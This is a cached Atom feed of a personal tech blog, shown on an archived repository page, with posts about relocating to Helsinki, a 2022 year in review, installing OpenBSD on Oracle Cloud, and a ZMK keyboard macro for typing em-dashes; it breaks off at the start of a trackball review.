This repository has been archived on 2024-02-11. You can view files and clone it, but cannot push or open issues or pull requests.
sitio/cached-feeds/icyphox.xml

474 lines
462 KiB
XML
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>icyphox</title>
<subtitle></subtitle>
<id>https://icyphox.sh/</id>
<updated>2023-03-21T22:11:58+02:00</updated>
<link href="https://icyphox.sh/"></link>
<author>
<name>Anirudh Oppiliappan</name>
<email>x@icyphox.sh</email>
</author>
<entry>
<title>I am moving to Finland</title>
<updated>2023-01-18T00:00:00Z</updated>
<id>tag:icyphox.sh/,2023-01-18:blog/finland</id>
<link href="https://icyphox.sh/blog/finland"></link>
<summary type="html">&lt;h2&gt;This is what I was packing for&lt;/h2&gt;&#xA;&lt;p&gt;The past two weeks or so have felt like a fever dream. It&amp;rsquo;s been a&#xA;blurry daze ever since I received my passport from the Finnish Embassy&#xA;in New Delhi. I still can&amp;rsquo;t believe everything has finally materialized&#xA;and this move is actually happening. In about 10 hours from now, I will&#xA;be boarding my flight from Bangalore, transiting via Doha, to Helsinki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how did this come about? I got employed there&amp;mdash;I&amp;rsquo;m joining&#xA;&lt;a href=&#34;https://upcloud.com&#34; rel=&#34;nofollow&#34;&gt;UpCloud&lt;/a&gt; as an SRE in their Orchestration team,&#xA;and will be working out of Helsinki. They helped with the immigration&#xA;process and will also be helping out with certain initial local affairs&#xA;and apartment hunting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest, most obvious change for me will be the weather. Going from&#xA;around 25°C to near-zero temps will need some acclimatization. I bought&#xA;the thickest, heaviest, water &amp;amp; snow-proof parka that Decathlon had to&#xA;offer, along with some monstrous snow boots&amp;mdash;I hope it&amp;rsquo;ll suffice for&#xA;the first few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m very much looking forward to life there&amp;mdash;low pollution, clean water,&#xA;fresh produce (berries!), excellent public transport. Oh and of course,&#xA;the &lt;em&gt;slightly&lt;/em&gt; less population density. Fun fact: the total population&#xA;of the entirety of Finland (5.6 million) is less than half of&#xA;Bangalore&amp;rsquo;s (13 something million).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suffice to say, I&amp;rsquo;m beyond stoked for this new beginning both in&#xA;Helsinki and at UpCloud. I&amp;rsquo;ll post an update once I&amp;rsquo;ve settled down. In&#xA;the meanwhile, my &lt;a href=&#34;https://h.icyphox.sh/@icy&#34; rel=&#34;nofollow&#34;&gt;fedi&lt;/a&gt; will have more&#xA;frequent updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moikka!&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>2022 in review</title>
<updated>2023-01-14T00:00:00Z</updated>
<id>tag:icyphox.sh/,2023-01-14:blog/2022-in-review</id>
<link href="https://icyphox.sh/blog/2022-in-review"></link>
<summary type="html">&lt;h2&gt;Late again because I was busy packing&lt;/h2&gt;&#xA;&lt;p&gt;Quite possibly the &amp;ldquo;fastest&amp;rdquo; year I&amp;rsquo;ve experienced&amp;mdash;it feels like&#xA;yesterday when 2022 began. I think I &lt;em&gt;did&lt;/em&gt; a lot last year, contrary to&#xA;previous years where I felt I&amp;rsquo;d just squandered my time away. Which is&#xA;partly great because more content! But also not great, because I have to&#xA;write it. It&amp;rsquo;s not that I don&amp;rsquo;t enjoy writing anymore (despite what the&#xA;number of posts in 2022 might lead you to believe), I just find it&#xA;harder to sit and do the thing&amp;mdash;perhaps something to think about and&#xA;investigate in 2023. But I digress&amp;mdash;as I said, I did get a lot done&#xA;last year, so let&amp;rsquo;s get right into it.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;projects-hacks&#34;&gt;projects &amp;amp; hacks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m only talking about software projects here, since this time around,&#xA;we&amp;rsquo;ve got some hardware hacks (ooh!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First on the list is &lt;a href=&#34;https://git.icyphox.sh/legit&#34; rel=&#34;nofollow&#34;&gt;legit&lt;/a&gt;, a web&#xA;frontend for git. A very important characteristic of legit that &lt;em&gt;needs&lt;/em&gt;&#xA;mention is the fact that it&amp;rsquo;s written in Go&amp;mdash;it&amp;rsquo;s even the name of the&#xA;first major release (&lt;a href=&#34;https://git.icyphox.sh/legit/refs&#34; rel=&#34;nofollow&#34;&gt;v0.2.0&lt;/a&gt;).&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&#xA;On a more serious note, it&amp;rsquo;s probably the nicest thing I&amp;rsquo;ve built from&#xA;scratch and it&amp;rsquo;s very cool to see legit instances in the wild. I&#xA;consider it &lt;em&gt;mostly&lt;/em&gt; feature complete, barring a couple of outstanding&#xA;PRs that I have yet to get to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up is &lt;a href=&#34;https://git.icyphox.sh/honk&#34; rel=&#34;nofollow&#34;&gt;honk&lt;/a&gt;. Not really my &lt;em&gt;own&lt;/em&gt;&#xA;project, but something I spent a non-negligible amount of time hacking&#xA;on. The honk lives in my head, rent-free. A few changes in my honk fork&#xA;are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user profile pictures&lt;/li&gt;&#xA;&lt;li&gt;color scheme and UI&lt;/li&gt;&#xA;&lt;li&gt;pretty @ URLs (like &lt;a href=&#34;https://h.icyphox.sh/@icy&#34; rel=&#34;nofollow&#34;&gt;https://h.icyphox.sh/@icy&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;bunch of other miscellaneous thingamajigs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lastly, I &lt;a href=&#34;/blog/openbsd-oci/&#34;&gt;installed OpenBSD&lt;/a&gt; on my Oracle VM and&#xA;now everything runs off it, this site included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not a &amp;ldquo;project&amp;rdquo;, but I&amp;rsquo;ll include it here anyway: I switched my&#xA;entire &lt;a href=&#34;https://git.icyphox.sh/dotfiles&#34; rel=&#34;nofollow&#34;&gt;dotfiles&lt;/a&gt; setup to Nix and&#xA;home-manager and rest of that shit I used to filter on Lobste.rs. While&#xA;I like the declarativeness, I won&amp;rsquo;t pretend I understand the half of it.&#xA;Believe me, I&amp;rsquo;ve tried. But it mostly just works the way I have it, so&#xA;I&amp;rsquo;ll leave it at that.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;keyboards-my-first-new-expensive-hobby&#34;&gt;keyboards: my (first) new expensive hobby&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Normal 60% keyboards are out&amp;mdash;ergonomic split ortho keyboards are in.&#xA;I built three keyboards this year: the Lotus58, and two semi-custom&#xA;34-key wireless splits: the&#xA;&lt;a href=&#34;https://github.com/icyphox/ferricy&#34; rel=&#34;nofollow&#34;&gt;Ferricy&lt;/a&gt;, and the Ferricy Choc.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;row&#34;&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/F9YxI.jpeg&#34; style=&#34;width: 500px&#34;/&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/rgVrx.jpeg&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/LUqg9.jpeg&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;p&gt;There&amp;rsquo;s a lot to write about keyboards and how I use mine, but I&amp;rsquo;ll&#xA;likely write a separate post covering that since it&amp;rsquo;s fairly&#xA;interesting and pretty long-winded. Until then, you can read &lt;a href=&#34;https://peppe.rs/posts/programming_on_34_keys/&#34; rel=&#34;nofollow&#34;&gt;Nerdy&amp;rsquo;s&#xA;article&lt;/a&gt; on the&#xA;subject.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;my-time-at-ory&#34;&gt;my time at Ory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sometimes things don&amp;rsquo;t work out and it&amp;rsquo;s best to cut your losses and&#xA;bounce. I came away with only positives and I greatly enjoyed my time at&#xA;Ory. I got to work on some rather exciting stuff like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;distributed tracing using OTel and Tempo&lt;/li&gt;&#xA;&lt;li&gt;centralized multi-cluster logging using Loki and Promtail&lt;/li&gt;&#xA;&lt;li&gt;tackling interesting engineering problems like caching sessions at&#xA;edge&lt;/li&gt;&#xA;&lt;li&gt;a whole bunch more&amp;hellip;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;No ragrets.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;travel&#34;&gt;travel&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A decent amount of travel last year: a week in Goa, three days in&#xA;Jaipur, two days in Chikmagalur and one day in New Delhi. Here&amp;rsquo;s one&#xA;picture from each trip, in order.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;row&#34;&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/6CuTI.jpeg&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/96xo7.jpeg&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/xc9ty.jpeg&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/jxhk0.jpeg&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;fitness&#34;&gt;fitness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My fitness journey has seen considerable improvement. I streamlined my&#xA;routine for the most part, and I&amp;rsquo;ve stuck to it. My usual week now&#xA;consists of 3&amp;ndash;4 upper body workouts, about 2 core workouts and 2 runs,&#xA;about 5 or 6km.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ability to run has also greatly increased. I used to struggle to hit&#xA;5ks back in 2021&amp;mdash;I can now comfortably run 8k and still feel pretty&#xA;good after. Granted, I&amp;rsquo;m not running for time&amp;mdash;my fastest 5k (the only&#xA;time I timed it) is a rather generous 26 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One major change I made in the latter half of last year was switching to&#xA;calisthenics for all my strength training. My ultimate goal is to be&#xA;able to do a full planche and front lever unassisted. I can currently&#xA;hold a tucked front lever for about 10 seconds&amp;mdash;but hey, progress is&#xA;progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2022 was the year I got decently shredded. Still not quite Chris Heria,&#xA;but we&amp;rsquo;re getting there. I&amp;rsquo;d put myself somewhere around 15% body fat,&#xA;on a good day. I didn&amp;rsquo;t &lt;em&gt;strictly&lt;/em&gt; regulate my diet, but I was somewhat&#xA;conscious about what I was eating. A rough daily calorie estimate is&#xA;constantly in the back of my head. For &amp;lsquo;23, I&amp;rsquo;d like to be a little more&#xA;meticulous and properly count my calorie intake.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;reading&#34;&gt;reading&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;/reading&#34;&gt;Reading&lt;/a&gt; was definitely on the forefront of 2022. I made a&#xA;conscious effort to spend a set amount of time each day reading&amp;mdash;until&#xA;about late November when I simply stopped. I can&amp;rsquo;t remember why I did,&#xA;but for me, it&amp;rsquo;s really easy to &amp;ldquo;lose&amp;rdquo; a habit&amp;mdash;week or two of not&#xA;reading, and I&amp;rsquo;ll find myself moving on to other things. Another thing&#xA;to think about for 2023.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2022, I read 15 books (dropped one). I&amp;rsquo;m discounting &lt;em&gt;Assassin&amp;rsquo;s&#xA;Apprentice&lt;/em&gt; since I have yet to get around to finishing it. Looking&#xA;back, I can&amp;rsquo;t pick any single standout read of last year, except maybe&#xA;Patrick Rothfuss&amp;rsquo; &lt;em&gt;Kingkiller Chronicle&lt;/em&gt;, which I still think about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember mentioning &lt;em&gt;The Wheel of Time&lt;/em&gt; series in my &lt;a href=&#34;/blog/2021-in-review&#34;&gt;2021&#xA;retrospective&lt;/a&gt;. I managed to read the first two,&#xA;but couldn&amp;rsquo;t get into the third. Jordan&amp;rsquo;s writing doesn&amp;rsquo;t make for the&#xA;easiest of reading, and&amp;mdash;I speak for myself when I say this&amp;mdash;spacing&#xA;it out is probably best. Except I never got back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This year, I&amp;rsquo;m hoping to read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;more of &lt;em&gt;Dune&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;The Doors of Stone&lt;/em&gt; please dear God&lt;/li&gt;&#xA;&lt;li&gt;some more &lt;em&gt;Wheel of Time&lt;/em&gt;, I think I&amp;rsquo;ve taken a long enough break&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;The Lost Metal&lt;/em&gt;, despite not enjoying Era 2 as much&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;this-site&#34;&gt;this site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Reject modernity, embrace tradition&amp;mdash;only the one tradition where we&#xA;talk about this site and count the number of blog posts I wrote!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep &#39;date: 2022&#39; pages/blog/*.md | wc -l&#xA;8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lowest yet, and the trend year-over-year doesn&amp;rsquo;t look promising. I don&amp;rsquo;t&#xA;think I&amp;rsquo;ll ever &lt;em&gt;completely&lt;/em&gt; stop writing, but I certainly won&amp;rsquo;t be&#xA;writing as much as I used to. I&amp;rsquo;ve largely stopped writing &amp;ldquo;commentary&amp;rdquo;&#xA;since it&amp;rsquo;s pretty pointless and inherently tied to the news cycle&amp;mdash;it loses readability value even just a month later.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;miscellaneous&#34;&gt;miscellaneous&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The catch-all. The flytrap. The part where everything else too small to&#xA;deserve its own subsection get fleeting mentions. Let&amp;rsquo;s run through them&#xA;real quick since I&amp;rsquo;m losing patience and the date on this blog post has&#xA;been changed four times already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The bullet journal&lt;/strong&gt;: I &lt;a href=&#34;/blog/bujo&#34;&gt;wrote about this&lt;/a&gt; in &amp;lsquo;21. While&#xA;the method largely remains the same, the size of my notebook has&#xA;decreased to A6, drawing inspiration from one of &lt;a href=&#34;https://ratfactor.com/notes&#34; rel=&#34;nofollow&#34;&gt;my favourite articles&#xA;on note taking&lt;/a&gt;. The smaller size allows me&#xA;to carry it around pretty easily, and the thinness lets me clip my&#xA;ball-pen at the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/WtFWq.jpeg&#34; alt=&#34;bujo&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Watches&lt;/strong&gt;: My (second) new expensive hobby. I went down the rabbithole&#xA;of &lt;a href=&#34;https://en.wikipedia.org/wiki/HMT_Limited&#34; rel=&#34;nofollow&#34;&gt;HMT&lt;/a&gt;&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; watches and&#xA;instantly fell in love. I&amp;rsquo;ll admit HMT watches aren&amp;rsquo;t &lt;em&gt;that&lt;/em&gt; expensive,&#xA;but I&amp;rsquo;ve been looking at some Seikos and Hamiltons that I&amp;rsquo;d like to buy&#xA;this year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/X17~Q.webp&#34; alt=&#34;hmt jhalak&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Podcasts&lt;/strong&gt;: Made some great podcast discoveries last year:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://ourfakehistory.com/&#34; rel=&#34;nofollow&#34;&gt;Our Fake History&lt;/a&gt;: deep dives into&#xA;historical hoaxes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://encyclopediageopolitica.com/how-to-get-on-a-watchlist/&#34; rel=&#34;nofollow&#34;&gt;How to Get on a&#xA;Watchlist&lt;/a&gt;:&#xA;experts discuss dangerous activities&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.offmenupodcast.co.uk/&#34; rel=&#34;nofollow&#34;&gt;Off Menu&lt;/a&gt;: Ed Gamble and James&#xA;Acaster run an imaginary restaurant&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://therussianempirehistorypodcast.com/&#34; rel=&#34;nofollow&#34;&gt;The Russian Empire History&#xA;Podcast&lt;/a&gt;: what it says on&#xA;the tin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;in-2023&#34;&gt;in 2023&amp;hellip;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There&amp;rsquo;s a lot that happened last year, and there&amp;rsquo;s &lt;em&gt;a whole lot more&lt;/em&gt;&#xA;that&amp;rsquo;s going to happen this year&amp;mdash;and very soon. I&amp;rsquo;ve been hinting at&#xA;it for a while on the &lt;a href=&#34;https://h.icyphox.sh/@icy&#34; rel=&#34;nofollow&#34;&gt;fedi&lt;/a&gt;. I&amp;rsquo;ve been&#xA;packing a whole lot for it, and it&amp;rsquo;s a mere 4 days away as I write this.&#xA;It&amp;rsquo;s a massive life update that I&amp;rsquo;m beyond stoked about&amp;mdash;I&amp;rsquo;ll write&#xA;about it here in few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until then, thanks for sticking around and I&amp;rsquo;ll see you in a jiff.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;Some folks on the red site&#xA;&lt;a href=&#34;https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_ybjpfm&#34; rel=&#34;nofollow&#34;&gt;really&lt;/a&gt;&#xA;&lt;a href=&#34;https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_hgnuco&#34; rel=&#34;nofollow&#34;&gt;didn&amp;rsquo;t&lt;/a&gt;&#xA;&lt;a href=&#34;https://lobste.rs/s/trcln1/legit_web_frontend_for_git#c_t4tl4w&#34; rel=&#34;nofollow&#34;&gt;like&lt;/a&gt; it. :^)&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;Also see &lt;a href=&#34;https://old.reddit.com/r/hmtwatches&#34; rel=&#34;nofollow&#34;&gt;r/hmtwatches&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Installing OpenBSD on Oracle Cloud</title>
<updated>2022-11-24T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-11-24:blog/openbsd-oci</id>
<link href="https://icyphox.sh/blog/openbsd-oci"></link>
<summary type="html">&lt;h2&gt;It finally works in 7.2!&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been trying to get OpenBSD to install on OCI since &lt;a href=&#34;https://marc.info/?l=openbsd-misc&amp;amp;m=162962869305286&amp;amp;w=2&#34; rel=&#34;nofollow&#34;&gt;early last&#xA;year&lt;/a&gt;. As&#xA;described in my email to misc@, my intial method of installation was&#xA;rather unconventional:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the install image to tmpfs&lt;/li&gt;&#xA;&lt;li&gt;dd it onto the host boot device (/dev/sda)&lt;/li&gt;&#xA;&lt;li&gt;Reboot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This works perfectly for Alpine, I&amp;rsquo;ll have you know but not so much for&#xA;OpenBSD. I don&amp;rsquo;t know why. Anyway, with that rather useless preface&#xA;aside, &lt;a href=&#34;https://openbsd.org/72.html&#34; rel=&#34;nofollow&#34;&gt;OpenBSD now supports&lt;/a&gt; booting on&#xA;amd64 OCI instances:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Allowed bsd.rd and bsd/bsd.mp to boot on Oracle Cloud amd64 instances.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This time around, I decided to try a somewhat less nuclear approach to&#xA;booting it. The steps I followed were from a kind &lt;a href=&#34;https://blinken.life/oci-obsd/&#34; rel=&#34;nofollow&#34;&gt;internet stranger&amp;rsquo;s&#xA;article&lt;/a&gt;, coincedentally ranting about&#xA;how they &lt;em&gt;failed&lt;/em&gt; to boot OpenBSD on OCI.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It&amp;rsquo;s fairly straight forward, and you&amp;rsquo;ll be fine simply following the&#xA;steps in the article I linked above; but since you&amp;rsquo;re here, let&amp;rsquo;s run&#xA;through them real quick:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the &lt;code&gt;install72.img&lt;/code&gt; onto an OpenBSD machine. Trust me,&#xA;dealing with loopback mounts is not fun on Linux.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&amp;ldquo;Mount&amp;rdquo; the install image using &lt;a href=&#34;https://man.openbsd.org/vnconfig&#34; rel=&#34;nofollow&#34;&gt;vnconfig(8)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vnconfig vnd0 install72.img&#xA;mount /dev/vnd0a /mnt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Configure booting over serial:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &#39;set tty com0&#39; &amp;gt; /mnt/etc/boot.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Convert the modified &lt;code&gt;install72.img&lt;/code&gt; to qcow2 using &lt;code&gt;qemu-img&lt;/code&gt;. We&#xA;will be uploading this to OCI as a custom image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-img convert -O qcow2 install72.img install.qcow2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Uploading the image requires creating an object storage bucket first.&#xA;Navigate to Storage → Buckets and create one. Call it whatever.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Upload the qcow2 from step 4.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Head to Compute → Custom Images and click Import Image. Choose your&#xA;bucket and qcow2 and select image type as QCOW2. We&amp;rsquo;ll stick to&#xA;Paravirtualized mode. Give it a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Once it&amp;rsquo;s done importing, create a new amd64 instance like you&#xA;normally would, and choose your newly created custom image. Don&amp;rsquo;t&#xA;bother with SSH keys.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Launch a console connection to access the serial boot. You should&#xA;hopefully see the OpenBSD installer. You might have to hit Enter&#xA;once. Hit &amp;lsquo;I&amp;rsquo; and start the install.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;There should only be one disk available. Choose that. Everything&#xA;else should just work like in any other OpenBSD install.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s about it. I for one am super excited to move all my instances to&#xA;OpenBSD. As always, &lt;a href=&#34;https://www.openbsd.org/donations.html&#34; rel=&#34;nofollow&#34;&gt;donate to the OpenBSD&#xA;project&lt;/a&gt; to ensure the continued&#xA;development of our beloved puffy.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;I pinged them on the fedi to let them know it works now: &lt;a href=&#34;https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2&#34; rel=&#34;nofollow&#34;&gt;https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Unicode text input in ZMK</title>
<updated>2022-10-18T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-10-18:blog/zmk-unicode</id>
<link href="https://icyphox.sh/blog/zmk-unicode"></link>
<summary type="html">&lt;h2&gt;A hacky interim solution using macros&lt;/h2&gt;&#xA;&lt;p&gt;As a highly cultured em-dash (over-)user, being able to type &amp;lsquo;—&amp;rsquo; easily&#xA;is very important to me. While waiting for&#xA;&lt;a href=&#34;https://github.com/zmkfirmware/zmk/issues/232&#34; rel=&#34;nofollow&#34;&gt;zmkfirmware/zmk#232&lt;/a&gt; to&#xA;get merged, I&amp;rsquo;ve discovered a rather nifty workaround for inputting&#xA;Unicode text. This method makes use of&#xA;&lt;a href=&#34;https://github.com/ibus/ibus&#34; rel=&#34;nofollow&#34;&gt;IBus&lt;/a&gt; and a ZMK macro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unicode input in IBus is done by typing &lt;code&gt;Ctrl&lt;/code&gt; + &lt;code&gt;Shift&lt;/code&gt; + &lt;code&gt;U&lt;/code&gt; followed&#xA;by the Unicode codepoint and then a &lt;code&gt;Space&lt;/code&gt; or &lt;code&gt;Return&lt;/code&gt;. Writing this&#xA;as a ZMK macro, we get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-dts&#34;&gt;macros {&#xA; uc_dash: uc_dash {&#xA; label = &amp;quot;UNICODE_DASH&amp;quot;;&#xA; compatible = &amp;quot;zmk,behavior-macro&amp;quot;;&#xA; #binding-cells = &amp;lt;0&amp;gt;;&#xA; tap-ms = &amp;lt;0&amp;gt;;&#xA; wait-ms = &amp;lt;0&amp;gt;;&#xA; bindings&#xA; = &amp;lt;&amp;amp;macro_press &amp;amp;kp LCTRL &amp;amp;kp LSHFT&amp;gt;&#xA; , &amp;lt;&amp;amp;macro_tap &amp;amp;kp U&amp;gt;&#xA; , &amp;lt;&amp;amp;macro_release &amp;amp;kp LCTRL &amp;amp;kp LSHFT&amp;gt;&#xA; , &amp;lt;&amp;amp;macro_tap &amp;amp;kp N2 &amp;amp;kp N0 &amp;amp;kp N1 &amp;amp;kp N4 &amp;amp;kp SPC&amp;gt;&#xA; ;&#xA; }; &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the numbers &lt;code&gt;2014&lt;/code&gt; denote the codepoint for an em-dash. Set the&#xA;&lt;code&gt;wait-ms&lt;/code&gt; and the &lt;code&gt;tap-ms&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; to make it instantaneous&amp;mdash;your&#xA;keyboard will essentially type out the entire key combo really fast. The&#xA;resulting keycode &lt;code&gt;uc_dash&lt;/code&gt; can be used in any &lt;code&gt;bindings&lt;/code&gt; field. I have&#xA;it on a separate Unicode layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unfortunate caveat is it only works where IBus works, and it doesn&amp;rsquo;t&#xA;seem to work in Qt applications. Granted, I only really need it in my&#xA;browser and Signal/Slack Desktop (Electron) so that isn&amp;rsquo;t a dealbreaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ZMK config is &lt;a href=&#34;https://github.com/icyphox/ferricy-zmk&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>The Logitech Ergo M575 trackball</title>
<updated>2022-07-01T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-07-01:blog/m575</id>
<link href="https://icyphox.sh/blog/m575"></link>
